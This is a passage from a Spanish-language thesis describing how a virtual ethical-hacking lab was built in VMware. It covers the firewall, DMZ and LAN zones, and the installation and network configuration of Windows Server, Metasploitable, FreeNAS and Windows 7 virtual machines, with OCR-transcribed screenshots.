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e Configuracién de acceso a terminales por redireccionamiento de puertos.

e Instalacion y configuracion de las herramientas que emplean en cada una de las fases

del hacking ético.

¢ La infraestructura permitira realizar ataques del tipo insider y outsider.

4.3. Planificar

Esta segunda fase identifico los requerimientos de red, realizando una caracterizacion y
evaluacién de la red, para nuestro caso tratandose de una red virtual los requerimientos
se resumieron en las caracteristicas del equipo anfitrion sobre el cual se diseid la

infraestructura.

4.3.1. Equipo anfitrion

El ordenador anfitrion utilizado para la creacion de la plataforma, cuenta con las

siguientes caracteristicas:
e Marca: ASUS - X555UQ
e Procesador: Procesador Intel® Core™ i7 6500U

e Memoria RAM: DDR3L 1600 MHz SDRAM, 1 x DIMM socket para una
expansion hasta 12 GB SDRAM

e Disco Duro: 1TB HDD 7200 RPM

¢ Adaptador de red inalambrica: Qualcomm Atheros Wireless
e Sistema Operativo: Windows 10

e Pantalla: 15.6" 16:9 HD (1366x768)/Full HD (1920x1080)

¢ Tarjeta de video: NVIDIA® GeForce® 940MX con 2GB DDR3 VRAM.
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Figura 2. Equipo de computo utilizado como anfitrion
Fuente: https://www.asus.com/latin/Laptops/X555UQ/

€2 Herramienta de diagnéstico de Direct - x

Pantalla Represertar Sonido Entrada

Esta herramienta informa detalladamente acerca de los componentes y controladores de DirectX instalades en el sistema.

Si conoce la causa del problema, haga dic en la ficha correspondiente arriba. De lo contrario, use el botdn "Pégina siguiente™ abajo para
visitar las pginas en secuendia.

Informacidn del sistema

Fecha y hora actuales: viernes, 1de marzo de 2019, 14:56:53
MNombre del equipo: DESKTOP-MVRVOOL
Sistema operativo: Windows 10 Home Single Language 54 bits (10.0, compilacién 17134)
Idioma: espafiol {configuracion regional: espafiol)
Fabricante del sistema: ASUSTek COMPUTER INC.
Modelo del sistema: ¥5550U0
BIOS: X555UQ.300
Procesador: Intel(R) Core(TM) i7-6500U CPU @ 2.50GHz (4 CPUs), ~2.6GHz
Memoria: 3192MB RAM
Archivo de paginadién: 6833MB usados, 4085ME disponibles
Version de Direct¥: DirectX 12

Comprobar firmas digitales de los Laboratorios de calidad de hardware de Windows (WHQL)

DxDiag 10.00. 17134.0001 64 bits Unicode Copyright € Microsoft. Todos los derechos reservados.

Ayuda Guardar la informacién.... Salir

Figura 3. Caracteristicas del equipo anfitrion
Fuente: elaboracion propia

4.3.2. Herramienta de virtualizacion

Para determinar la tecnologia de virtualizacion se evalu6 algunos pardmetros que

permitan elegir el aplicativo que mejor rendimiento ofrezca.

La herramienta utilizada para la virtualizaciéon es VMware Player 5.0, software de
licenciamiento libre que permite la instalacion de maquinas virtuales con Sistemas
Operativos multiplataforma principalmente Windows, Linux, Mac Os, de 32 y 64 bits;
para tal determinacion se realizé una comparacion de las distintas alternativas de

virtualizacién tal como se muestra a continuacion:
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Windows Server 2008 Hyper-V: Windows Server 2008 Hyper-V es la tecnologia de
virtualizacién de servidor basada en hipervisor, que aprovecha las inversiones de
hardware al consolidar roles de servidor como maquinas virtuales (MV) separadas,
ejecutadas en una Unica maquina fisica. Hyper-V dispone de herramientas de gestién
integradas tanto de los recursos virtuales como de los fisicos y esta disponible como

funcionalidad dentro de Windows Server 2008.

VMWARE (VMWare ESX Server): ESX Server es un software de infraestructura virtual
gue constituye una capa de virtualizaciéon de recursos montada directamente sobre el
hardware, sin necesidad de un sistema operativo base, ya que ESX Server es un
sistema operativo en si que permite particionar, consolidar y administrar sistemas en
entornos de mision critica. ESX Server y los nodos de infraestructura virtual de
VMware tienen una plataforma de maquinas virtuales que permiten administracion de

recursos mediante la herramienta VMware VirtualCenter.

CITRIX SYSTEMS: Citrix XenServer es una plataforma nativa de virtualizacion de 64
bits que estd basada en el hypervisor de Xen de cddigo fuente abierto, XenServer
aprovecha las plataformas Intel VT y las plataformas AMD Virtualization (AMD-V) para
permitir la virtualizacién asistida por hardware. Citrix XenServer permite a las
organizaciones de Tl deshacer los vinculos existentes entre servidores y cargas de

trabajo, dandoles la posibilidad de crear centros de datos dinamicos.

En el afio 2014 Rojas en un trabajo de investigacion realiza una comparacion de las
tres tecnologias descritas con el propésito de evaluar aspectos relevantes al elegir una

tecnologia de virtualizacion, producto de ello se tiene el cuadro siguiente:

Tabla 1.

Comparacion entre las tecnologias de virtualizacion.
Criterio/Tecnologia VMWare Hyper-V  Xen Server
Administracion 5 3 3

Rendimiento 4 4 4
Mantenibilidad 5 5 5
Escalabilidad 5 4 4
Instalacion 5 4 3
TOTAL 24 20 19

Fuente: Rojas. A (2018)

Como se puede ver es VMWare es la tecnologia de virtualizacion con mayor

performance, razon por el cual se eligié como la tecnologia de virtualizacion.

4.4, Disefar

En esta parte se observa la propuesta que se utilizé para el disefio de la infraestructura

virtual, que comprende la topologia y la distribucién de los elementos tecnolégicos.
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4.4.1. Disefio modular

En esta parte se muestra de manera holistica la infraestructura de red con sus tres

segmentos configurados: la zona DMZ, zona LAN y la zona WAN.

DIAGRAMA DE RED

DMZ ZONA
DESMILITARIZADA

Figura 4. Diagrama de red de la infraestructura virtual.
Fuente: Elaboracién propia
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4.4.2. Disefio detallado fisico

Se muestra la distribucién de los diferentes elementos que componen la infraestructura

virtual.

Diagrama de red fisico

DMZ ZONA

DESMILITARIZADA ...

Servidor windows

Temﬁnal
Unix Windows 2

Figura 5. Diagrama de red fisco de la infraestructura virtual
Fuente: elaboracion propia
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4.4.3. Disefio detalla légico
Se muestra el diagrama de red con la configuracion l6gica de los equipos.

DIAGRAMA DE RED LOGICO

DMZ ZONA
DESMILITARIZADA 192.168.231.0 / 24

192.168.231.3

192.168.231.5 S N ' INTERNET

192.168.1.0 / 24

WAN

192.168.1.1

192.168.230.1

192.168.230.4 192.168.230.5

Figura 6. Diagrama de red l6gico de la infraestructura virtual
Fuente: elaboracion propia
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4.4.4. Disefio detallo por capas

AR UR 2t

DISPOSITIVOS CAPA DE SERVICIOS
FINALES DISTRIBUCION CAPA NUCLEO FUNDAMENTALES

A
.

i -
§ |
G

<

y/

-

Figura 7. Diagrama de red modular de la infraestructura virtual
Fuente: elaboracion propia

4.5. Implementar

Se instalé en el equipo anfitrion el software seleccionado para la implementacion de la
infraestructura virtual, en este caso se utiliz6 VMware Player v. 12.5.2, y las instalaciones

de equipos virtuales se basaron en una instalacion tipica tanto en Linux, Windows y Unix.

Posteriormente, se procedié a la instalacion de las maquinas virtuales utilizadas para la
presente investigacion, los cuales contaron con caracteristicas y parametros de
configuracidon usuales en una organizacion que cuenta con una zona LAN, zona WAN y
zona desmilitarizada; dichos sistemas operativos utilizados fueron: Firewall monowall,
Windows server 2008, Windows server 2003, FreeNas, Mestasploitables, OWASP Broken
Web Apps VM, Windows 7 cada uno con sus caracteristicas y servicios que se detallan

lineas més abajo.

45.1. Instalacién de la plataforma de virtualizacion

Se uso6 la herramienta mas conocida para virtualizar, VMware, ésta soporta una gran
cantidad de caracteristicas, sistemas operativos como Windows, Mac, Linux etc. Antes
de ello se tiene que validar que el equipo anfitrion cumpla con los requerimientos para

su instalacion, los cuales son:
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e VVelacion de frecuencia de minima de 1.3 GHz minimo.
e Memoria RAM de 1 GB.
e Disco duro de 20 GB minimo.

El instalador de programa se puede obtener de la pagina oficial, para el caso se utiliza

la version personal, el cual es gratuito. La instalacion detallada del virtualizador se
encuentra en detalle en el anexo A.

Una vez que se tenga el archivo ejecutable se procede a dar doble clic en él para abrir
el asistente de instalacion:

iz VMware Workstation Pro Setup = B “

Welcome to the VMware Workstation Pro
Setup Wizard

VMWARE

. : The Setup Wizard allows you to change the way VMware
pr%RKST ATION Workstation Pro features are installed on your computer or

b to remove it from your computer, Click Next to continue or
E Cancel to exit the Setup Wizard,

Figura 8. Instalacion del VMware Workstation.
Fuente: elaboracion propia

Una vez que se haya instalado el programa, se procede a ejecutarlo dando doble clic
sobre el icono en el escritorio 0 a través del menda Inicio, La ventana desplegada sera
la siguiente:
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) VMware Workstation - o IEH

[Be B4t Yiew VM4 Tatn fep 0 b 21
3 New Virtual Machine.. CuteN
B New ) Wrdows Server 2012 (5)
Open Qa0
Close Tab Catew
2 | ComectieSovc. et WORKSTATION 12
= Conmect 1o ¥Mwere vClosd Air..
) Vivaalize a Physical Machoe..
M e + 3 &
e Create a New Open a Virtual Connect to a
Virtual Machine Machne
vmware
< >

Figura 9. Ventana de inicio del programa VMware
Fuente: elaboracion propia

El software VMware tiene cuatro modos de conexién los cuales son: modo NAT, modo

bridge, modo only, modo custom; se detallan a continuacion:
e Modo NAT

El modo NAT es un modo de conexion facil de utilizar, pero algo complicado de
entender. Para situarse, NAT (Network Address Translation) fue pensado para
solucionar el problema de la escasez de direcciones IP de forma que redes de
ordenadores utilicen un rango de direcciones especiales (IP privadas) y se conecten
a Internet usando una Unica direccién IP (IP publica), de esta forma varios equipos se
conectan a internet con una Unica IP publica. En las maquinas virtuales lo que sucede
es que ésta recibird una direccién IP de un servidor DHCP virtual, sin embargo, el que
pide la IP sera el firewall dentro de la aplicacion de virtualizacion, que sustituye a tu
maquina virtual. Asi, el que se encarga de comunicarse con la red fuera de tu equipo

serd tu firewall, no tu méquina virtual.

Figura 10. Modo de configuracion NAT
Fuente: elaboracion propia
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¢ Modo bridge

Modo bridge o puente es la configuracion por defecto cuando se crea una maquina
virtual, ya que es la forma mas sencilla de otorgar acceso a la red a una maquina
virtual. Cuando esta en modo bridge, la red local es extendida desde el equipo
anfitrion hacia la maquina virtual. Aunque el equipo se conecte a tu red local usando

el hardware de tu ordenador fisico, la méquina virtual seré totalmente independiente
de la red.

Figura 11. Modo de configuracion puente
Fuente: elaboracion propia

e Modo Host-Only

Elmodo Host-only, como su propio nombre indica, solo se conecta con el host anfitrion.
Cuando esta en modo host-only, la maquina virtual esta totalmente aislada de la red
de area local ya que la red de la maquina virtual esta dentro del propio equipo y es
invisible e inaccesible para cualquier equipo de la red del equipo.

Figura 12. Modo de configuracién Host Only
Fuente: elaboracion propia
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e Modo Custom

Denominado también como personalizado, sin duda el mas reclamado por todos,
mediante este modo se puede crear redes virtuales aisladas que permite replicar
desde una DMZ hasta un grupo de trabajo y lo mejor es que cada una de estas redes

es totalmente independiente de las demas lo que permite simular todo tipo de

infraestructuras por complejas que estas sean.

.| MODEM/ROUTER

Figura 13. Modo de configuracion personalizado
Fuente: elaboracion propia

4.5.2. Instalacién de firewall (Monowall)

Es un completo paquete de software que se integra a un servidor de seguridad
utilizable en un PC, capaz de proporcionar todas esas caracteristicas y funciones de
seguridad que encontraria en soluciones firewall (o Corta Fuegos) comerciales, ello

incluye la facilidad de uso, ser gratis (toda vez que se habla de un software libre).

Est4 basado en una version béasica de FreeBSD, con un servidor web, con PHP y
algunas otras herramientas. Todo el sistema de configuracién esta almacenado en un
archivo de texto XML lo que permite el mantenimiento de una transparencia de

configuracion.

Probablemente, el primer sistema operativo UNIX con una configuracion de arranque
en tiempo real con PHP, que viene a remplazar esos scripts shell que son habituales,
amén que su sistema de configuracion esta totalmente salvaguardado en un archivo
de formato XML.

Para el caso del firewall monowall se tiene tener por lo minio dos interfaces de red,
para el caso se adicion6 dos tarjetas de red mas, con lo cual se tuvo tres interfaces de
red, esto tanto para la zona LAN, WAN y DMZ, para ello clic sobre la opcién Network
Adapter.
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a) Reboot system
6) Ping host

Enter a number: 1

Valid interfaces are:

emd B8:58:56:33:66:89  (up)| Intel(R) PRO/1BBA Legacy
H8:58:56:3f:ab:B88  (up)| Intel(R) PRO/18B8 Legacy
BB:58:56:37:14:a8  (up)| Intel(R) PRO/18BBA Legacy

Hote that wireless LAN interfaces are not included in the 1i
they can be set up through the webGUI later on.

Do you want to set up ULANs first?
If you're not going to use ULANs, or only for optional inte
should say no here and use the webGUI to configure ULANs la

Figura 14. Configuracion de las interfaces de red
Fuente: elaboracion propia

Como se podra observar en la imagen anterior se tiene tres interfaces y con sus

respectivas MAC, este Ultimo parametro servira para identificar el tipo de tarjeta.

00:50:56:33:66:89 zona WAN (bridge) em8
00:50:56:3F:A6:00 zona LAN (vmnet2) eml
00:50:56:37:14:A8 zona DMZ (vmnet3) em2

Una vez que se reinicia la maquina muestra las siguientes opciones, se elegi el
numero “2” con ello le asigna la IP a la interfaz LAN, como se plasma en el disefio

l6gico de la infraestructura sera el 192.168.230.1.

4) Reset to factory defaults
5) Reboot system
6) Ping host

Enter a number: 2
Enter the new|LAN IP|address:|192.168.238.1

Subnet Masks are entered as bit counts (as in CIDR notatio
e.qg. 255.255.255.8 24

255.255.A.8 16

255.0.8.8 8

Enter the new LAN subnet bit count: |24
Do you want to enable the DHCP server on LAN? (ysn) |n
The LAN IP address has been set to 192.168.2308.1-24.

You can noW access the webGUI by opening the following URL
in your browuser:

http:~s-192.168.238. 1~

Figura 15. Configuracion de los pardmetros de red.
Fuente: elaboracion propia
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Se asigno la direccién IP y la mascara de Sub Red; de momento no se habilita el
DHCP y se procede a reiniciar. Utilizando una interfaz web desde otra maquina que

se encuentre en el mismo segmento se procede a configurar la interfaz WAN y DMZ.

[} DMZ-FreeNas ] (%)) DMZ-WinSer2008 ] (=3 FirewallMonowall ] 5 LAN-Windows 7 ]

mindwall.local - Interfaces: Op X ‘

<« c @ 192.168.230.1/interfaces_opt.php?index=1 120% - @ 1Y

I} Més visitados 0 Comenzar a usar Firefox @ Galeria de Web Slice @ Sitios sugeridos

minowall

A setup Interfaces: Optional 1 (OPT1)

Static routes - .
P tio Secondary IPs
= - rimary configuration ry

Advanced

User manager Enable Optional 1 interface
Interfaces (assign)
LAN

webGUI Configuration

Description DMZ

Enter a description (name) for the interface here.

wa
Figura 16. Ventana de interfaz grafica del firewall.
Fuente: elaboracion propia

4.5.3. Instalacién de servidores virtuales — zona DMZ

e Instalacion de Windows server 2008

Para el caso de esta maquina ya se tiene el archivo preinstalado del sistema operativo

Windows server 2008, asi que solamente se procederd a ir al menu File y abrir dicho
archivo.

File Edit View VM Tabs Help | [ v | | O O | E
Abrir
“— v A « Win.. * Windows Server 2... v Buscaren
Organizar Mueva carpeta
D Misica *  Nombre Fecl
;'" Objetos 3D caches 2441
m Videos Windows Server 2008 vmzlck 2141
m 050(C) @ Windows Server 2008 161
- DATA (Dx)

= KINGSTON (5:)

— KINGSTON (G} ¥ %

Mombre:

| |All suppo

Abri

Figura 17. Ventana inicial de instalacion del servidor
Fuente: elaboracion propia
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E'Tmnncu-wall
1] DMZ-WinSer2008

(7] DMZ-WinSer2008

Power on this virtual machine
':,E_"IEcIit virtual machine settings
ﬁUrzgracIE this virtual machine

* Devices
W Mernory 2 GB
[ Processors 1

e Hard Disk (SCEI} 40 GB
L CO/DVD (IDE) Auto detect
= Floppy Auto detect
¥ MNetwork Adapter  Custom (VMnet3)

USE Controller Present
&) Sound Card Auto detect
I Display Auto detect

Figura 18. Ventana final de la instalacion del servidor

Fuente: elaboracion propia

Se procede a encender el equipo virtual, con ello se podra mostrar la primera interfaz
del Windows server 2008.

E maona-wall

(5] DMZ-WinSer2008

EIJ! ¢ Administrador del servidor I ¥, I
Simbolo del sistema '

] Bloc de notas

Administrador de configuradion de SCL
Server

Pz megatron
e Internet Explorer
LJ Documentos
g ;;& SQL Server Management Studio

. Equipo

ar I Windows Update

- Red

Panel de control

Herramientas administrativas

Figura 19. Ventana de ingreso al sistema del servidor

Fuente: elaboracion propia
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Ahora se procede a poner la interfaz de red al segmento correspondiente que en este

caso se elige el VMnet 3, para ello en las propiedades del adaptador

[H LAN-Eal
Y DMZ-WinSer2agy
E 0 inSer? Close Tab
ﬁl inux Mark as Favorite
ﬁ DML-FreeMas
(571 DMZ-kali Rename...
E;l mono-wall Remove
(5] LinuxNAT 1) Power ,
(51 MAT FreeBSD  — _
Iﬁ;‘ Shared VMs (=) Removable Devices »
Pause

cth Send Ctrl+Alt+Del
Grab Input

1] Snapshot »

Capture Screen

4, Manage *
Update VMware Tools...

w Settings...

Figura 20. Ventana de configuracion del servidor
Fuente: elaboracion propia

Se ubica la opcion del adaptador y selecciona el modo en VMnet3 y aceptar.

Virtual Machine Settings

Hardware QOptions

Device Summary
#E Memory 2GB
[ Processors |
A Hard Disk (SCST) 40 GB
) CD/DVD {IDE) Auto detect f
E Floppy Auto detect

iMetwork Adapter  Custom (VMnet3)

LISE o Present
'.ﬁ' | Sound Auto detect
| pisplay Auto detect

Figura 21. Configuracidn de la interfaz de red del servidor
Fuente: elaboracion propia

Ahora se asigna los pardmetros légicos de red tal como se muestra en la imagen

siguiente.
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Propiedades de Protocolo de Internet version 4 d A

General |

Puede hacer que la configuracidn IP se asigne automaticamente si la red
es compatible con esta fundonalidad. De lo contrario, deberd consultar
con el administrador de red cudl es la configuradion IP apropiada.

™ Obtener una direccidn IP automaticamente

—{* Usar la siguiente direccién IP:

Direccién IP: I 192 . 168 . 231, §

Mdscara de subred: | 255 . 255 . 355 . 0

Puerta de enlace predeterminada; I 192 . 168 . 231 . 1

= obtener |a direccion del servidar BNS automaticamente

—{% Ugar |as siguientes direcciones de servidor DNS:

Servidor DMS preferido: I 192 . 168 . 231, 1

Servidor DMS alternativo: I

Opciones avanzadas. ..

Figura 22. Configuracidn de parametros de red del servidor
Fuente: elaboracion propia

e Instalaciéon de Windows server 2003

Para el caso de esta maquina ya se tiene el archivo preinstalado del sistema operativo
Windows server 2003, asi que solamente se procedera a ir al menu File y abrir dicho

archivo.
File Edit View VM Tabs Help | Il ~ | o | (Y 2 | || e
@ Abrir

- v A < SERV.. » SERVER 2003 meg... w | B Buscar en SERVEF
Organizar = Mueva carpeta
[ Escritorio 2 Mombre Fecha den
=/ Imagenes 564db138-%9ale-ad09-abde-7418bccB6142..,  21/07/201¢
b Misica caches 13/08/2012
_J Objetos 30 SERVER 2003 megatron.amdk.lck 21/07/201¢
B Videos SERVER 2003 megatron.vinlck 21/07/201¢
. 05(C) ﬁl SERVER 2003 megatron 21/07720¢
- DATA (D) oo Il
Mombre: ~ | |All supported fil
Abrir

Figura 23. Ventana inicial de instalacion de Windows server 2003
Fuente: elaboracidn propia
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Una vez que termine de cargar el archivo previamente seleccionado, mostrara la

pantalla.
File Edit View VM Tabs Help | B v | | {9 O |
Libra b4
o (] DMZ-WinSer2003 1 (53 mono-wall 1
C,  Type here to search -
E" DMZ-WinSer2003
= @ My Cormnputer
ﬁl LAN-Linux ) P Resume this virtual machine "
(5] FreeBSD 64-bit (2) 1 Edit virtual machine sett
@ LAN-Win xp ol Edit virtual machine settings
(51 LAN-wT
(5] LAN-Kali ¥ Devices
ﬁl DMZ-Win5er2008 i M emory 512 ME
= -
g DMZ-WinSer2003 [J Processors 1
DMZ-Linux
Hard Disk (5C5I) 40 GB
ﬁl DMZ-FreeMas = Hard Disk (5CS1)
E‘ DMZ-kali =) CO/DVD (IDE) Auto detect
5‘ mono-wall Floppy Auto detect
ﬁl LinuxMAT EINE‘L'wurk Adapter Custom (VM.
IE‘ NAT FreeB3D USB Controller  Present
@ Shared VMs i Sound Card Auto detect

Figura 24. Ventana final de instalacion de Windows server 2003
Fuente: elaboracion propia

Se procede a encender el equipo y posterior a ello carga el sistema operativo.

DMZ-Win5er2003 - YMware Workstation

File Edit View VM Tabs Help | I ~ | o | {9

Library x

(5}l DMZ-WinSer2003 5
Cy  Type here to search -

= ] My Computer ”~ Contiene cartas, informes
Mis
documentos

(51 LAN-Linux

(7] FreeBSD 64-bit (2)
(51 LAN-Win xp

(51 LAN-wT

(91 LAN-Kali

(71 DMZ-WinSer2003
(5} DMZ-WinSer2003
(51 DMZ-Linux

ﬁl DMZ-FreeMas

(] DMZ-kali e
=N

Figura 25. Pantalla inicial de Windows server 2003
Fuente: elaboracion propia

Se ubica la opcion del adaptador y selecciona el modo que deje en el VMnet3 y

aceptar. Se asigna los parametros légicos.
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(“]] DMZ-WinSer2003 ] [ mono-wal

Virtual Machine Settings

Hardware QOptions

Device Summary

#E [Memary 512 MB

[ Processaors 1

e Hard Disk (SCSI) 40 GB
“yCD/oOVD (IDE) Auto detect

Floppy Auto detect

W Metwork Adapter  Custom (VMnet3)
IISE Controller Present

'€' I Sound Card Auto detect
E,']F‘rinter Present
@Display Auto detect

Figura 26. Configuracion de la interfaz de red
Fuente: elaboracion propia

Propiedades de Protocolo de Internet (TCP/IP) 7] x|

aeneral

Puede hacer que la configuracian IP se asigne aukomaticamente si su
red es compatible con este recurso, De lo conkrario, necesita consulkar
con el administrador de la red cudl es la configuracion IP apropiada.

£~ Obtener una direccidn IP automaticamente

—1% 1isar |a siguiente direccicn IP:

Direccion IP: I 192 1658 . 231 . 3

Mascara de subred; I 255,255 .255 ., 0

Puerta de enlace predeterminada; I 192 . 168 . 231 . 1

£ obtener la direccidn del servidor DS automaticamente

—{%" Usar las siguientes direcciones de servidor DNS:

Servidor DS preferido; I 192 1658 . 231 . 1

Servidor DNS alkernativio: I

Opciones avanzadas. .. |

Brcepkar I Cancelar |

Figura 27. Asignacién de parametros de red
Fuente: elaboracién propia

e Instalacién del servidor Linux.

Para el caso de esta maquina ya se tiene el archivo preinstalado del sistema operativo

Linux ubuntu, asi que solamente se procedera a ir al menu File y abrir dicho archivo.
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File Edit View VM Tabs Help | Il = | co | (D {0 ||

o ~— (@ Abrir
Q. Type here to search
1 & v A <« OTH... » Metasploitable2-L...
= (=] My Computer
(51 LAN-Linux Organizar - Mueva carpeta
(51 FreeBSD 64-bit (2) o ~
ﬁl LAN-Win xp B Escritorio 2 Mombre
[ LAN-w7 &=| Imagenes (71 Metasploitable
(71 LAN-Kali D Musica
(51 DMZ-WinSer2003 _
(7 DMZ-WinSer2003| 8 Objetos3D
(51 DMZ-Linux B videos
@ DME-FreeMas 05 (C)
(51 DMZ-kali
(5 mono-wall = Lk v £
(51 LinuxNAT
(5] NAT FreeBSD Nombre
Shared Yis

Figura 28. Ventana inicial de instalacion de Linux
Fuente: elaboracidn propia

Se procede a establecer la interfaz de red al segmento correspondiente que en este

caso sera el VMnet 2, para ello en las propiedades del adaptador

(5] DMZ-WinSer2003 ‘ |

)

@ DMZ-Freel Close Tab

(7] DMZ-kali

E;I monao-wall Mark as Favorite
(51 LinuxNAT e

(1 NAT FreeB! Remove

Shared Vs

() Power »
Removable Devices

Pause

Send Ctrl+Alt+Del

Grab Input

@ Snapshot ¥
Capture Screen

4, Manage H

Install Viiware Tools..,

':E_LI Settings...

|
Figura 29. Ventana de configuracion de la maquina
Fuente: elaboracion propia

Se ubica la opcién del adaptador y selecciona el modo en VMnet2 y aceptar.
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QRN H|===

@ DMZ-Linuox Eﬁ maono-wall

ﬁ DMZ-Linux

Power on this virtual machine
:E]Eclit virtual machine settings
Fj-",‘Upgracl&this virtual machine

w Devices
o M ermory 512 ME
[ Processors 1

i Hard Disk (SCSI) 8 GB
CO/DVD (IDE) Auto detect
¥ Metwork Adapter  Custom (VMnet3)
5 USE Controller  Present
| Display Auto detect

Figura 30. Ventana de configuracion del interfaz de red.
Fuente: elaboracion propia

Se puede encender la maquina instalada y solicita ingresar los parametros de acceso

E"‘ DMZ-Linux ELl mono-wall

Starting deferred execution scheduler atd
Starting periodic command =cheduler crond
Starting Tomcat =servlet engine tomcat5.5
Starting web server apache?

Rumming local boot =cripts (retcrrc.locall
nmohup: appending output to "nohup.out’
mohup: appending output to "nohup.out’

Figura 31. Inicio del sistema operativo Linux Metasploitables

Fuente: elaboracidn propia
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e Instalacién del servidor Unix

Para el caso de esta maquina ya se tiene el archivo preinstalado del sistema operativo
FreeNas, se procede mediante VMware ir al menu File ubicar el archivo, seleccionar
y posteriormente se abrir4.

le  Edit View VM Tabs Help | B+ | | (O 0| =
Abrir
= v A « SISTEM... » FreeMAS 7.2 x80 v | Buscar en FreeM!
COrganizar « Mueva carpeta
I Escritorio 2 Mombre Fecha der
=/ Imagenes FreeNAS 7.2vmx.lck 21/07/201¢
D Misica (9] FreeNAS 7.2 15/07/201¢
) Ohjetos 3D
B videos
& 05(C) v <
Mombre: ~ | Al supported fil
Abrir

Figura 32. Ventana inicial de instalacién de FreeNas
Fuente: elaboracion propia

Una vez abierto se tiene la siguiente imagen

Eile Edit View VM Tabs Help | » + | | {9 QN |!
Libra =
v (7] DMZ-FreeNas 1 (5} DMZ-Linux 1 [
C Type here to search -
ﬁ DMZ-FreeNas
= ] My Computer
@ LAN-Linux ) P Power on this virtual machine A
(1 FreeBSD 64-bit (2) I Edit virtual machine sett
B LAN-Win xp ol Edit virtual machine settings
IE‘ LAN-wT @Upgradethisvirtual machine
(51 LAN-Kali
(51 DMZ-WinSer2008 » Devices
(51 DMZ-WinSer2003 a8 Memory 256 MEB
5‘ DMZ-Linux [d Processors 1
i) DMZ -Freehas _
=1 DMZ-kali i Hard Disk (SCSI}  1GE
(=5 mono-wall it Hard Disk 2 (SCSI) 8 GB
(51 LinuxNAT it Hard Disk 3 (SC5I) 8 GB

Figura 33. Ventana final de instalacién de FreeNas
Fuente: elaboracion propia

Se ubica la opcién del adaptador y selecciona el modo en VMnet3 y aceptar.
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Help | b~ | &0 | 2 00 O | || &d X 5 |

@ DMZ-Freelas 1 E;‘ DMZ L 1 E;J maona-wall 1

Virtual Machine Settings

Hardware  Options

Device Summary Device status

MO Memory 256 ME Connected

[ Processors i Connect at powel

\Hard Disk (SCSI)  1GB

A Hard Disk 2 (SCSI) 8 GB Network connection

(A Hard Disk 3 (SCSI) 8 GB () Bridged: Connect
“yCD/OVD (IDE) Ising drive D Replicate phy

Floppy Auto detect

L Metwork Adapter  Custom (YMnet3) (_JNAT: Used to sha

USE Controller Present () Host-only: A prive

IC':' Sound Card Auto detect (®) Custom: Spedific’

@F‘rinter Present

!_]Display Auto detect _ Hinet3

Figura 34. Configuracidn del interfaz de red
Fuente: elaboracion propia

Para el caso del Storage se tiene que crear dos discos de almacenamiento
adicionales, esto se hace ingresando a editar las opciones de la maquina virtual, la
primera es para sistema y los dos restantes son para configurar el funcionamiento de
la NAS.

Virtual Machine Settings

Hardware Options

Device Summary Disk file
B Memory 255 MB FreeMAS 7.2 vmdk
sk (SCST] 1GE Capadty
i Mew Hard Disk (SC5I) 3GB STORAGE Current size: 54.2 M
it Mewe Hard Disk (SCSI) E System free: 244.8
“,JJCD/OVD (IDE) Using drive D: Maximum size: 1GB
Floppy Auto detect
ElNetw-:rk Adapter Custom (VMnet3) Disk information
e
USE Controller Present Disk space is not pre
I Sound Card Auto detect Hard disk contents at
@F‘rinter Present
!]Displa}' Auto detect Disk utilities
Map this wvirtual mach

Figura 35. Configuracion de los medios de almacenamiento.
Fuente: elaboracion propia

Ahora ya se puede encender la maquina y se ve las opciones para poder configurar.
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LAN IPwv4 address: 192.168.127.237

Port configuration:

LAH —> leH

Con=zole =zetup

Az=zign interfaces

Set LANM IP address

Rezet HebGUI passwkword
Rezet to factory defaults
Ping ho=st

Shell

Reboot =sustem

Shutdown sysztem

Enter a number: [Jj

Figura 36. Ventana de inicio del FreeNas
Fuente: elaboracion propia

Se asigna la direccién IP y la méascara de sub red, puerta de enlace y servidor DNS.

Enter new LAN IPvd address.

l192.153.231.2l

<Cancel>

Enter new LAN subnet mask. Subnet masks are entered as bit

counts (as in CIDR notation).

e.q. 255.255.255.8 = 24
255.255.8.8 = 16
255.8.8.8 = §
F4
{Cancel?

Figura 37. Asignacién de parametros de red sistema FreeNas
Fuente: elaboracion propia

Posterior a ello se utiliza una interfaz web para poder administrar mediante la IP

asignada desde una de las maquinas que se encuentra en el mismo segmento.
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4.5.4. Instalacién de las maquinas virtuales- zona LAN
En este apartado se describe la instalacion de todas las maquinas virtuales.

e Instalacion del Windows 7

Para el caso de esta maquina ya se tiene preinstalado del sistema operativo Windows

7, de esta manera se procedi6 a ir al menu File y abrir dicho archivo.

File Edit View WM Tabs Help | b - | | _'l;l‘:' :_" | IEI -
@ Abrir
= v A « Windows7 » Windows 7 v Buscar en Windo
Organizar - Mueva carpeta
&= | Imdgenes ~ Mombre Fechader
Jﬂ Mousica caches 19/10/201:
- Objetos 3D Windows T.vmulck 21/07/201¢
B videos ﬁl Windows 7 15/077201¢
2 05(0)
- DWATA (Dr) v £
Mombre: w | | All supported fil
Abrir

Figura 38. Ventana inicial de instalacion de Windows 7
Fuente: elaboracion propia

Una vez abierto se tiene la siguiente imagen

Help | B - O 00| 0u s
ﬁl LAN-w7 E;l DMZLinux E.'J rnono-wall
7] LAN-w7
> Power on this virtual machine #

':E'I Edit virtual machine settings
@ Upgrade this virtual machine

* Devices
Ml fMermory 1GE
[ Processors 1

e Hard Disk (SC51) 60 GE
) CO/OVD (IDE) Auto detect

= Flo Auto detect
PRY

¥ Network Adapter Custom (VM.
Figura 39. Ventana final de instalacion de Windows 7
Fuente: elaboracion propia
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Se procede a encender el equipo y carga el sistema operativo.

b |- |20 0O |M=EHES|E

(fioMzdinux % | [Simono-wall

teletranl

| [Contrasedia

Figura 40. Inicio del sistema operativo Windows '
Fuente: elaboracion propia

Se procede a poner la interfaz de red al segmento correspondiente, que en este caso
fue el VMnet 2, para ello en propiedades del adaptador

[ L wwn g
ﬁl LAMN-wZ | - i

(5] LAN-K: Close Tab
DMZ-W
% DIMZ-\! Mark as Favorite

ﬁ‘ DMZ-L Rename...
(51 DMZ-F Remove

DMZ-k
ﬁl (!J Power 5
ﬁ,‘ Frone-
@ Linuz. @ Removable Devices 3
(51 NAT Fr Pause
1 Shared VM
o £ Send Ctrl+Alt+Del
Grab Input
[T Snapshot >
Capture Screen
Ma -
) negs rde usuario |
Update ViMware Tools... ———

Figura 41. Ventana de acceso a la configuracién de la maquina virtual
Fuente: elaboracion propia
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Se ubica la opcidén del adaptador y selecciona el modo VMnet2 y aceptar.

5‘ LAN-w7 1 @ DMZ-Linux 1 E;‘ mona-wall

Virtual Machine Settings

Hardware Qptions

Device Summary Device status
0 M emory 1GE Connected
[ Processors 1 Connect ai
=\Hard Disk (SCSI) &0 GB

*)CD/DVD (IDE) Auto detect Network conne
Floppy Auto detect (O eridged: C
